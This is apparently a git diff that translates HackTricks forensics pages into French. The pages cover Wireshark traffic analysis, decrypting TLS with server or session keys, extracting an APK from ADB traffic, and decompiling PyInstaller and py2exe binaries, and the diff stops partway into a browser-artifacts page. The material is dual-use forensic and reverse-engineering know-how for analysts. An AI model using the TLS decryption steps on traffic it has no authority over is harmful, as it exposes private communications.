télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Improve your Wireshark skills +## Améliorez vos compétences Wireshark -### Tutorials +### Tutoriels -The following tutorials are amazing to learn some cool basic tricks: +Les tutoriels suivants sont excellents pour apprendre quelques astuces de base intéressantes : * [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/) * [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/) * [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/) * [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/) -### Analysed Information +### Informations analysées -**Expert Information** +**Informations d'expert** -Clicking on _**Analyze** --> **Expert Information**_ you will have an **overview** of what is happening in the packets **analyzed**: +En cliquant sur _**Analyze** --> **Expert Information**_, vous aurez un **aperçu** de ce qui se passe dans les paquets **analysés** : ![](<../../../.gitbook/assets/image (570).png>) -**Resolved Addresses** +**Adresses résolues** -Under _**Statistics --> Resolved Addresses**_ you can find several **information** that was "**resolved**" by wireshark like port/transport to protocol, MAC to the manufacturer, etc. It is interesting to know what is implicated in the communication. +Sous _**Statistics --> Resolved Addresses**_, vous pouvez trouver plusieurs **informations** qui ont été "**résolues**" par Wireshark, comme le port/transport vers le protocole, le MAC vers le fabricant, etc. Il est intéressant de savoir ce qui est impliqué dans la communication. ![](<../../../.gitbook/assets/image (571).png>) -**Protocol Hierarchy** +**Hiérarchie des protocoles** -Under _**Statistics --> Protocol Hierarchy**_ you can find the **protocols** **involved** in the communication and data about them. +Sous _**Statistics --> Protocol Hierarchy**_, vous pouvez trouver les **protocoles** **impliqués** dans la communication et des données à leur sujet. ![](<../../../.gitbook/assets/image (572).png>) **Conversations** -Under _**Statistics --> Conversations**_ you can find a **summary of the conversations** in the communication and data about them. +Sous _**Statistics --> Conversations**_, vous pouvez trouver un **résumé des conversations** dans la communication et des données à leur sujet. ![](<../../../.gitbook/assets/image (573).png>) -**Endpoints** +**Points d'extrémité** -Under _**Statistics --> Endpoints**_ you can find a **summary of the endpoints** in the communication and data about each of them. +Sous _**Statistics --> Endpoints**_, vous pouvez trouver un **résumé des points d'extrémité** dans la communication et des données à leur sujet. ![](<../../../.gitbook/assets/image (575).png>) -**DNS info** +**Infos DNS** -Under _**Statistics --> DNS**_ you can find statistics about the DNS request captured. +Sous _**Statistics --> DNS**_, vous pouvez trouver des statistiques sur la demande DNS capturée. ![](<../../../.gitbook/assets/image (577).png>) -**I/O Graph** +**Graphique I/O** -Under _**Statistics --> I/O Graph**_ you can find a **graph of the communication.** +Sous _**Statistics --> I/O Graph**_, vous pouvez trouver un **graphique de la communication**. ![](<../../../.gitbook/assets/image (574).png>) -### Filters +### Filtres -Here you can find wireshark filter depending on the protocol: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ -Other interesting filters: +Ici, vous pouvez trouver des filtres Wireshark en fonction du protocole : [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ +Autres filtres intéressants : * `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)` - * HTTP and initial HTTPS traffic + * Trafic HTTP et HTTPS initial * `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)` - * HTTP and initial HTTPS traffic + TCP SYN + * Trafic HTTP et HTTPS initial + SYN TCP * `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)` - * HTTP and initial HTTPS traffic + TCP SYN + DNS requests + * Trafic HTTP et HTTPS initial + SYN TCP + demandes DNS -### Search +### Recherche -If you want to **search** for **content** inside the **packets** of the sessions press _CTRL+f_. You can add new layers to the main information bar (No., Time, Source, etc.) by pressing the right button and then the edit column. +Si vous voulez **rechercher** du **contenu** à l'intérieur des **paquets** des sessions, appuyez sur _CTRL+f_. Vous pouvez ajouter de nouvelles couches à la barre d'informations principales (No., Time, Source, etc.) en appuyant sur le bouton droit, puis sur modifier la colonne. -Practice: [https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net) +Pratique : [https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net) -## Identifying Domains +## Identification des domaines -You can add a column that shows the Host HTTP header: +Vous pouvez ajouter une colonne qui affiche l'en-tête Host HTTP : ![](<../../../.gitbook/assets/image (403).png>) -And a column that add the Server name from an initiating HTTPS connection (**ssl.handshake.type == 1**): +Et une colonne qui ajoute le nom du serveur à partir d'une connexion HTTPS initiale (**ssl.handshake.type == 1**) : ![](<../../../.gitbook/assets/image (408) (1).png>) -## Identifying local hostnames +## Identification des noms d'hôtes locaux -### From DHCP +### À partir de DHCP -In current Wireshark instead of `bootp` you need to search for `DHCP` +Dans Wireshark actuel, au lieu de `bootp`, vous devez rechercher `DHCP` ![](<../../../.gitbook/assets/image (404).png>) -### From NBNS +### À partir de NBNS ![](<../../../.gitbook/assets/image (405).png>) -## Decrypting TLS +## Déchiffrement de TLS -### Decrypting https traffic with server private key +### Déchiffrer le trafic https avec la clé privée du serveur -_edit>preference>protocol>ssl>_ +_edit>préférence>protocole>ssl>_ ![](<../../../.gitbook/assets/image (98).png>) -Press _Edit_ and add all the data of the server and the private key (_IP, Port, Protocol, Key file and password_) +Cliquez sur _Edit_ et ajoutez toutes les données du serveur et de la clé privée (_IP, Port, Protocol, Key file and password_) -### Decrypting https traffic with symmetric session keys +### Déchiffrer le trafic https avec des clés de session symétriques -It turns out that Firefox and Chrome both support logging the symmetric session key used to encrypt TLS traffic to a file. You can then point Wireshark at said file and presto! decrypted TLS traffic. More in: [https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)\ -To detect this search inside the environment for to variable `SSLKEYLOGFILE` +Il s'avère que Firefox et Chrome prennent en charge tous deux l'enregistrement de la clé de session symétrique utilisée pour chiffrer le trafic TLS dans un fichier. Vous pouvez ensuite pointer Wireshark vers ledit fichier et presto ! trafic TLS déchiffré. Plus d'informations sur : [https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)\ +Pour détecter cela, recherchez à l'intérieur de l'environnement les variables `SSLKEYLOGFILE` -A file of shared keys will look like this: +Un fichier de clés partagées ressemblera à ceci : ![](<../../../.gitbook/assets/image (99).png>) -To import this in wireshark go to \_edit > preference > protocol > ssl > and import it in (Pre)-Master-Secret log filename: +Pour importer cela dans Wireshark, allez à \_edit > préférence > protocole > ssl > et importez-le dans (Pre)-Master-Secret log filename : ![](<../../../.gitbook/assets/image (100).png>) - -## ADB communication - -Extract an APK from an ADB communication where the APK was sent: - ```python from scapy.all import * @@ -162,15 +157,14 @@ f = open('all_bytes.data', 'w+b') f.write(all_bytes) f.close() ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live). +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index 5e64c8a36..d36feec16 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -1,27 +1,26 @@ -# Decompile compiled python binaries (exe, elf) - Retreive from .pyc +# Décompiler les binaires python compilés (exe, elf) - Récupérer à partir de .pyc
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +Si vous êtes intéressé par une **carrière de piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_polonais écrit et parlé couramment requis_). {% embed url="https://www.stmcyber.com/careers" %} -## From Compiled Binary to .pyc - -From an **ELF** compiled binary you can **get the .pyc** with: +## Du binaire compilé à .pyc +À partir d'un binaire compilé **ELF**, vous pouvez **obtenir le .pyc** avec : ```bash pyi-archive_viewer # The list of python modules will be given here: @@ -40,48 +39,38 @@ pyi-archive_viewer ? X binary_name to filename? /tmp/binary.pyc ``` - -In a **python exe binary** compiled you can **get the .pyc** by running: - +Dans un **fichier binaire python exe** compilé, vous pouvez **obtenir le fichier .pyc** en exécutant: ```bash python pyinstxtractor.py executable.exe ``` +## De .pyc au code Python -## From .pyc to python code - -For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**: - +Pour les données **.pyc** (Python "compilé"), vous devriez commencer par essayer d'**extraire** le **code Python** **original** : ```bash uncompyle6 binary.pyc > decompiled.py ``` +**Assurez-vous** que le binaire a l'**extension** "**.pyc**" (sinon, uncompyle6 ne fonctionnera pas). -**Be sure** that the binary has the **extension** "**.pyc**" (if not, uncompyle6 is not going to work) - -While executing **uncompyle6** you might find the **following errors**: - -### Error: Unknown magic number 227 +Lors de l'exécution de **uncompyle6**, vous pourriez rencontrer les **erreurs suivantes** : +### Erreur : numéro magique 227 inconnu ```bash /kali/.local/bin/uncompyle6 /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc ``` +Pour résoudre ce problème, vous devez **ajouter le bon numéro magique** au début du fichier généré. -To fix this you need to **add the correct magic number** at the beginning of the generated file. - -**Magic numbers vary with the python version**, to get the magic number of **python 3.8** you will need to **open a python 3.8** terminal and execute: - +**Les numéros magiques varient en fonction de la version de Python**, pour obtenir le numéro magique de **Python 3.8**, vous devrez **ouvrir un terminal Python 3.8** et exécuter: ``` >> import imp >> imp.get_magic().hex() '550d0d0a' ``` +Le **numéro magique** dans ce cas pour python3.8 est **`0x550d0d0a`**, donc, pour corriger cette erreur, vous devrez **ajouter** au **début** du fichier **.pyc** les octets suivants: `0x0d550a0d000000000000000000000000` -The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000` - -**Once** you have **added** that magic header, the **error should be fixed.** - -This is how a correctly added **.pyc python3.8 magic header** will look like: +**Une fois** que vous avez **ajouté** cet en-tête magique, l'**erreur devrait être corrigée**. +Voici à quoi ressemblera un **en-tête magique .pyc python3.8** correctement ajouté: ```bash hexdump 'binary.pyc' | head 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 @@ -89,25 +78,23 @@ hexdump 'binary.pyc' | head 0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064 ``` +### Erreur : Erreurs génériques de décompilation -### Error: Decompiling generic errors +D'autres erreurs telles que `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` peuvent apparaître. -**Other errors** like: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` may appear. +Cela signifie probablement que vous n'avez pas correctement ajouté le nombre magique ou que vous n'avez pas utilisé le bon nombre magique, alors assurez-vous d'utiliser le bon (ou essayez-en un nouveau). -This probably means that you **haven't added correctly** the magic number or that you haven't **used** the **correct magic number**, so make **sure you use the correct one** (or try a new one). +Vérifiez la documentation d'erreur précédente. -Check the previous error documentation. +## Outil automatique -## Automatic Tool +L'outil [https://github.com/countercept/python-exe-unpacker](https://github.com/countercept/python-exe-unpacker) rassemble plusieurs outils disponibles pour la communauté qui aident les chercheurs à déballer et décompiler des exécutables écrits en python (py2exe et pyinstaller). -The tool [https://github.com/countercept/python-exe-unpacker](https://github.com/countercept/python-exe-unpacker) glues together several tools available to the community that **help researchers to unpack and decompile executable** written in python (py2exe and pyinstaller). +Plusieurs règles YARA sont disponibles pour déterminer si l'exécutable est écrit en python (ce script confirme également si l'exécutable est créé avec py2exe ou pyinstaller). -Several YARA rules are available to determine if the executable is written in python (This script also confirms if the executable is created with either py2exe or pyinstaller). - -### ImportError: File name: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist - -Currently, with unpy2exe or pyinstxtractor the Python bytecode file we get might not be complete and in turn, it **can’t be recognized by uncompyle6 to get the plain Python source code**. This is caused by a missing Python **bytecode version number**. Therefore we included a prepend option; this will include a Python bytecode version number into it and help to ease the process of decompiling. When we try to use uncompyle6 to decompile the .pyc file it returns an error. However, **once we use the prepend option we can see that the Python source code has been decompiled successfully**. +### ImportError: Nom de fichier : 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' n'existe pas +Actuellement, avec unpy2exe ou pyinstxtractor, le fichier de bytecode Python que nous obtenons peut ne pas être complet et, par conséquent, ne peut pas être reconnu par uncompyle6 pour obtenir le code source Python brut. Cela est dû à un numéro de version de bytecode Python manquant. Nous avons donc inclus une option de préfixe ; cela inclura un numéro de version de bytecode Python et aidera à faciliter le processus de décompilation. Lorsque nous essayons d'utiliser uncompyle6 pour décompiler le fichier .pyc, il renvoie une erreur. Cependant, une fois que nous utilisons l'option de préfixe, nous pouvons voir que le code source Python a été décompilé avec succès. ``` test@test: uncompyle6 unpacked/malware_3.exe/archive.py Traceback (most recent call last): @@ -123,11 +110,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive # Successfully decompiled file [+] Successfully decompiled. ``` +## Analyse de l'assemblage Python -## Analyzing python assembly - -If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2: - +Si vous n'avez pas pu extraire le code Python "original" en suivant les étapes précédentes, vous pouvez essayer d'**extraire** l'**assemblage** (mais il n'est pas très descriptif, alors essayez d'extraire à nouveau le code original). Ici, j'ai trouvé un code très simple pour **désassembler** le binaire _.pyc_ (bonne chance pour comprendre le flux de code). Si le _.pyc_ est de Python2, utilisez Python2 : ```bash >>> import dis >>> import marshal @@ -170,17 +155,15 @@ True 14 LOAD_CONST 0 (None) 17 RETURN_VALUE ``` +## Python vers Exécutable -## Python to Executable +Pour commencer, nous allons vous montrer comment les charges utiles peuvent être compilées avec py2exe et PyInstaller. -To start, we’re going to show you how payloads can be compiled in py2exe and PyInstaller. - -### To create a payload using py2exe: - -1. Install the py2exe package from [http://www.py2exe.org/](http://www.py2exe.org) -2. For the payload (in this case, we will name it hello.py), use a script like the one in Figure 1. The option “bundle\_files” with the value of 1 will bundle everything including the Python interpreter into one exe. -3. Once the script is ready, we will issue the command “python setup.py py2exe”. This will create the executable, just like in Figure 2. +### Pour créer une charge utile en utilisant py2exe : +1. Installez le package py2exe depuis [http://www.py2exe.org/](http://www.py2exe.org) +2. Pour la charge utile (dans ce cas, nous l'appellerons hello.py), utilisez un script comme celui de la Figure 1. L'option "bundle\_files" avec la valeur de 1 regroupera tout, y compris l'interpréteur Python, dans un seul fichier exécutable. +3. Une fois que le script est prêt, nous émettrons la commande "python setup.py py2exe". Cela créera l'exécutable, comme dans la Figure 2. ``` from distutils.core import setup import py2exe, sys, os @@ -208,12 +191,10 @@ running py2exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe ``` +### Pour créer une charge utile en utilisant PyInstaller: -### To create a payload using PyInstaller: - -1. Install PyInstaller using pip (pip install pyinstaller). -2. After that, we will issue the command “pyinstaller –onefile hello.py” (a reminder that ‘hello.py’ is our payload). This will bundle everything into one executable. - +1. Installez PyInstaller en utilisant pip (pip install pyinstaller). +2. Ensuite, nous allons exécuter la commande "pyinstaller --onefile hello.py" (rappelons que 'hello.py' est notre charge utile). Cela regroupera tout en un seul exécutable. ``` C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 108 INFO: PyInstaller: 3.3.1 @@ -226,14 +207,13 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe 6325 INFO: Building EXE from out00-EXE.toc completed successfully. ``` - -## References +## Références * [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +Si vous êtes intéressé par une **carrière de hacking** et que vous voulez hacker l'inviolable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_). {% embed url="https://www.stmcyber.com/careers" %} @@ -241,10 +221,10 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de hacking en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md index de6e62249..7f0324897 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -1,23 +1,4 @@ - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - -Here you can find interesting tricks for specific file-types and/or software: +Vous pouvez trouver ici des astuces intéressantes pour des types de fichiers et/ou des logiciels spécifiques : {% page-ref page=".pyc.md" %} @@ -45,16 +26,14 @@ Here you can find interesting tricks for specific file-types and/or software: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. - - diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index 93f6fd9a7..48cf88e75 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -1,93 +1,76 @@ -# Browser Artifacts +# Artéfacts de navigateur
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS 